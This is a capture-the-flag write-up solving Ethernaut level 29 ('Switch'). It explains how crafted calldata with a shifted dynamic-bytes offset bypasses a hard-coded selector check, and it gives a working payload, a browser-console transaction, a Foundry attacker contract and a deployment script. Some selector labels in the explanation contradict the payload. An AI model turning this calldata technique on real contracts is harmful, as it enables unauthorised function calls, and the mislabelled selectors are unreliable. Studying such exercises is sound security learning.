The Ethernaut CTF Solutions | 29 - Switch
Flipping the Switch: Engineering Calldata to Access Contract Functions
Goals
The Contract
This one is a really fun one to finish this series with a super simple goal: Turn the switch on. Unlike the previous Gate Keeper Three, the Switch challenge is far from easy, especially if you are not familiar with calldata and memory pointers.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}
function turnSwitchOn() public onlyThis {
switchOn = true;
}
function turnSwitchOff() public onlyThis {
switchOn = false;
}
}
The hack
Just have to flip the switch... And we even have a turnSwitchOn() function to do just that. However, this function is protected by the onlyThis
modifier:
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
So only the Switch
contract can call it. So let's take a look at the flipSwitch()
function, after all, with such a name, it might just work!
function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}
This function does an external call on itself, it seems too good to be true. We could simply pass the turnSwitchOn()
function selector...
But let's take a look at the onlyOff
modifier, in case:
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
Obviously enough, the goal of this modifier is to make sure we CAN ONLY pass the turnSwitchOff()
function selector to the flipSwitch()
function! So we will need to craft some custom calldata to pass the turnSwitchOn()
function selector while making sure the turnSwitchOff()
selector is positioned at the 68th byte of the calldata.
Well... How to do that?
Calldata encoding
We know that each solidity types are stored in its hex form, padded with zeros to fill a 32-byte slot. For instance:
uint256
20
is0x14
in hex, and would be stored like this:0x0000000000000000000000000000000000000000000000000000000000000014
For dynamic types, it is a bit different and solidity stores them as follows:
first 32-byte is the offset of the data;
second 32-byte is the length of the data;
next are the data themselves.
Let's take the following array of prime numbers for instance: uint256[] memory data = [2, 3, 5, 7, 11]
. It would be stored as follows:
offset:
0000000000000000000000000000000000000000000000000000000000000020
length (5 elements in the array):
0000000000000000000000000000000000000000000000000000000000000005
first element value(2):
0000000000000000000000000000000000000000000000000000000000000002
second element value(3):
0000000000000000000000000000000000000000000000000000000000000003
third element value(5):
0000000000000000000000000000000000000000000000000000000000000005
fourth element value(7):
0000000000000000000000000000000000000000000000000000000000000007
fifth element value(11):
000000000000000000000000000000000000000000000000000000000000000B
And the output would be:
0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000007000000000000000000000000000000000000000000000000000000000000000B
So, with that in mind, let's try to craft the calldata for the flipSwitch()
function.
Custom calldata
We will need the turnSwitchOn()
and turnSwitchOff()
function selectors:
cast sig "turnSwitchOn()"
=> 0x30c13ade
cast sig "turnSwitchOff()"
=> 0x20606e15
Now, why is the onlyOff
modifier targeting the position 68?
The first 4 bytes are the function selector;
The next 64 bytes are the offset and the length of the data;
So the data, which is the function selector, starts at the 68th byte. What if we play with the offset and tell the function that the data starts at position 96 instead?
function selector turnSwitchOn:
30c13ade
offset: (96-byte instead of 68-byte)
0000000000000000000000000000000000000000000000000000000000000060
extra blank 32-byte:
0000000000000000000000000000000000000000000000000000000000000000
function selector turnSwitchOff at position 68:
20606e1500000000000000000000000000000000000000000000000000000000
data length (4-byte):
0000000000000000000000000000000000000000000000000000000000000004
data containing the function selector that will be called:
76227e1200000000000000000000000000000000000000000000000000000000
And here is the output:
0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000
The turnSwitchOn()
function selector is positioned at position 68, however, it is not relevant anymore as we are telling the function that the data starts at position 96 instead! We can finally call the flipSwitch()
function to toggle the switch on!
Solution
In the browser's console:
await sendTransaction({
from: player,
to: instance,
data: "0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000",
});
In Foundry using forge
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Switcher {
address private immutable switchContract;
bytes4 public onSelector = bytes4(keccak256("turnSwitchOn()"));
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
constructor(address _switchContract) {
switchContract = _switchContract;
}
function toogle() public {
bytes
memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";
(bool success, ) = switchContract.call(data);
require(success, "Toogle failed!");
}
}
Now we can craft the script for deployment:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {Switcher} from "../src/29_Switch.sol";
interface ISwitch {
function switchOn() external view returns (bool);
}
contract PoC is Script {
// Replace with your Switch instance
address private immutable switchContract =
0x71d674183F060C9819002181A2cDBa21520D17c2;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
Switcher switcher = new Switcher(switchContract);
switcher.toogle();
console2.log(
"Is the switch on yet? ",
ISwitch(switchContract).switchOn()
);
vm.stopBroadcast();
}
}
And the command to run the script:
forge script script/29_Switch.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
Let's check the result:
๐ Level completed ๐
Takeaway
Calldata encoding is a crucial part of the Ethereum Virtual Machine (EVM).
Assuming positions in CALLDATA with dynamic types can be erroneous, especially when using hard-coded CALLDATA positions.
Reference
- Transaction Calldata Demystified: https://www.quicknode.com/guides/ethereum-development/transactions/ethereum-transaction-calldata
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/